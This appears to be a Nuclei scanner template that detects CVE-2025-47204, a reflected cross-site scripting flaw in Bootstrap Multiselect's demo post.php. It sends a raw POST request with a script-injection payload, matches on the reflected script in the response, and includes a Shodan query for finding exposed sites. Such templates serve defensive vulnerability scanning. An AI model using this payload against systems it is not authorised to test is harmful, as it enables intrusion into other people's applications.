id: CVE-2025-47204

info:
  name: Bootstrap Multiselect <= 1.1.2 - Cross-Site Scripting
  author: r3naissance
  severity: medium
  description: |
    A PHP script in the source code release echoes arbitrary POST data. If a developer adopts this structure wholesale in a live application, it could create a Reflective Cross-Site Scripting (XSS) vulnerability exploitable through Cross-Site Request Forgery (CSRF).
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Only use the necessary components (css/js) in production applications
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-47204
  classification:
    epss-score: 0.00404
    epss-percentile: 0.3201
  metadata:
    verified: true
    max-request: 1
    shodan-query: html:"bootstrap-multiselect"
  tags: cve,cve2025,xss,bootstrap-multiselect,vkev,vuln

http:
  - raw:
      - |
        POST /bootstrap-multiselect/post.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        canary="><script>alert(document.domain)</script>

    matchers:
      - type: dsl
        dsl:
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "<script>alert(document.domain)</script>", "bootstrap-multiselect-master")'
        condition: and
# digest: 4a0a00473045022100872b934d76ca630fa7e8770665316e8241c5c1e88460f48c788c0b9a8917021602202b5ceaeebad2b61007bdcaaa8a84bde07e497b169dbe4df76e03676af9a194d7:922c64590222798bb761d5b6d8e72950